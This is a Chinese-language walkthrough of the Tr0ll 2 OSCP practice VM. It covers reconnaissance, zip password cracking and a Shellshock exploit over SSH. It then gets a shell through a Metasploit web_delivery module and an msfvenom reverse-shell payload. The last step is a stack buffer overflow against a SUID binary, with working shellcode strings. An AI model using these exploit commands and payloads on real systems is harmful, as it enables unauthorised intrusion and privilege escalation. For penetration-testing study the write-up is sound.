OSCP(基础篇靶机Tr0ll 2)
第一步:nmap和dirb
第二步:通过robots.txt构造dir目录进行dirb
第三步:图片都长一样,下载图片文件分析,发现大小有异,着重查看dont_bother下载的
strings cat_the_troll3.jpg
第四步:nmap中扫描存在21 ftp服务(Tr0ll/Tr0ll)
第五步:获取下一个目录:y0ur_self,answer.txt中为base64转码,转码进行zip压缩包密码暴力破解(fcrackzip)
vi base64
base64 --decode base64 | sort | uniq > decoded
fcrackzip进行压缩包密码暴力破解(专门用来破解zip密码) 利用手法:https://zhuanlan.zhihu.com/p/435382861?utm_id=0
fcrack.zip官网下载:http://oldhome.schmorp.de/marc/fcrackzip.html
1.首先尝试update命令
sudo apt-get update
2.如果不行则执行upgrade
sudo apt-get upgrade
3.最后上面两项都不行则尝试
sudo apt-get install aptitude
成功以后使用
sudo apt-get install fcrackzip
命令:fcrackzip -u -D -p decoded lmao.zip
ItCantReallyBeThisEasyRightLOL解压出noob ssh登陆秘钥
第六步:使用noob秘钥登陆
chmod 700 noob
ssh noob@192.168.56.107 -i noob
----------------------------------------------------------------------
ssh证书失效了的原因,在后面加一段命令-o PubkeyAcceptedKeyTypes=+ssh-rsa
ssh -vv noob@192.168.56.107 -i noob
显示ssh调试信息
Remote:Forced command
https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
how can shellshock be exploited over SSH?
---------------------------------------------------------------------
ssh noob@192.168.56.107 -i noob '() { :;}; echo SHELLSHOCK'
ssh noob@192.168.56.107 -i noob '() { :;}; /bin/bash'
---------------------------------------------------------------------------------
ssh noob@192.168.56.107 -i noob -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'
可成功获取shell
第七步:换取更稳定shell(方法一:写入秘钥)
ssh-keygen -b 2048 -t rsa
echo "pub_KEY" > .ssh/authorized_keys
ssh noob@192.168.56.107 -I .ssh/id_rsa 进行连接(因为连接存在问题,换了台kali重做)
第七步:换取更稳定shell(方法二:使用 Web Delivery 进行命令注入攻击(Linux、Windows))
https://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/
msfconsole
use exploit/multi/script/web_delivery
set lhost KALIIP
set lport 4444
show options
run
第七步:换取更稳定shell(方法三:python)
第八步:权限提升,使用find命令列举特权用户信息,获取r00t线索
find / -perm -4000 2>/dev/null ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
看来入口没有错,尝试缓冲区是否可溢出
/nothing_to_see_here/choose_wisely/door?目录下r00t
第九步:r00t程序缓冲区溢出获取root权限
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。
ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
Linux下Shellcode编写:https://cloud.tencent.com/developer/article/1930058
尝试程序是否可缓冲区溢出,过量输出会退出,door3的r00t有点像
./r00t $(python -c 'print "A" * 1000') 确定存在
locate pattern_create 定位pattern_create.rb脚本位置
我们只要在pattern_create.rb脚本的后面加上-L字符序列长度就可以生成指定长度的字符序列,查看了1000的长度即可
pattern_create.rb -l 1000
linux使用gdb加载执行r00t程序发生溢出时来跟踪EIP的值
r (pattern from pattern_create.rb)
这边r跑下这个值,提示故障表示已经溢出了:0x6a413969
locate pattern_offset 计算偏移量
Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息
这边-q 是执行Aa0A(溢出值的6a413969)
-----------------------------------------------------------
pattern_offset.rb -q (string from gdb)
pattern_offset.rb -q 6a413969
发现偏移量是268
进行ASLR的查询,发现结果是0.说明没有开启。检查checksec保护机制,无开启地址空间随机化。
最终我的规划是EBP为0x41414141('AAAA');EIP为0x42424242('BBBB'),进而找到ESP,得到ESP的下一跳地址
268A+4B=0x42424242 (注意door变来变去的)
r $(python -c 'print "A"*268 + "B"*4')
r $(python -c 'print "A"*268 + "B"*4 + "C"*100') ESP肯定是4,然后任意写C看看是不是真的被B完全覆盖4,C后续填充x90还有shellcode
42就是B,我们可以知道这里B覆盖了EIP的值,这意味着我们把B改为SHELLCODE的地址,就可以执行了
info r
(注意)下面拼接好shellcode就可以。exp的构造./r00t $(python -c 'print "A"偏移量 + "ESP" + "\x90"20 + "shellcode"'),拿到root权限。
x90为nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令 (无操作,仅使程序计数器加一)序列,只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。
栈随机化指运行时栈的起始地址为随机的,所以程序中存放 各函数返回地址 的地址也会发生对应的改变。可防止运行相同程序的相同系统因易预测栈地址而易于攻击。
反弹提权
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c
原地提权
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
然后用坏字符替换C位置,防止shellcode中存在坏字符影响运行
(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:
好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。
坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00) \x00 \x0a \x09 \x20
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc
./r00t $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "(MSFVENOM PAYLOAD)"')
MSFVENOM我们预留100就够了 PAYLOAD:
\xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99
r $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "\xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99"')
命令:i r esp(查看浮点)
得到了ESP的位置是0xbffffb10
./r00t $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "\xbf\xa2\x06\x41\x9a\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x78\x11\x03\x78\x11\xe2\x57\x6c\x4a\xc2\x0e\x23\x2a\x9a\x1d\xa7\x3b\xbd\x35\x08\x4f\x2a\xc5\x3e\x80\xc8\xac\xd0\x57\xef\x7c\xc5\x60\xf0\x80\x15\x5e\x92\xe9\x7b\x8f\x21\x81\x83\x98\x96\xd8\x65\xeb\x99"'
即使我发现 esp 的位置是 0xbffffb10 但我不能将此偏移量用作外壳位置。 我必须稍微增加或减少偏移量,因为当二进制文件在调试时内存是不同的。
具体怎么做定位shellcode地址:https://www.cnblogs.com/lsdb/p/15873140.html
我kali生成的shellcode存在问题
下面才可行:
通用:27 Bytes setuid(0) ^ execve("/bin/sh", 0, 0) Shellcode
https://packetstormsecurity.com/files/88877/27-Bytes-setuid-0-execve-bin-sh-0-0-Shellcode.html
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90" * 16 + "\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80"')
./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\xbb\x75\xc8\xc9\xe2\xd9\xec\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x0b\x83\xc7\x04\x31\x5f\x11\x03\x5f\x11\xe2\x80\xa2\xc2\xba\xf3\x61\xb3\x52\x2e\xe5\xb2\x44\x58\xc6\xb7\xe2\x98\x70\x17\x91\xf1\xee\xee\xb6\x53\x07\xf8\x38\x53\xd7\xd6\x5a\x3a\xb9\x07\xe8\xd4\x45\x0f\x5d\xad\xa7\x62\xe1"')
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】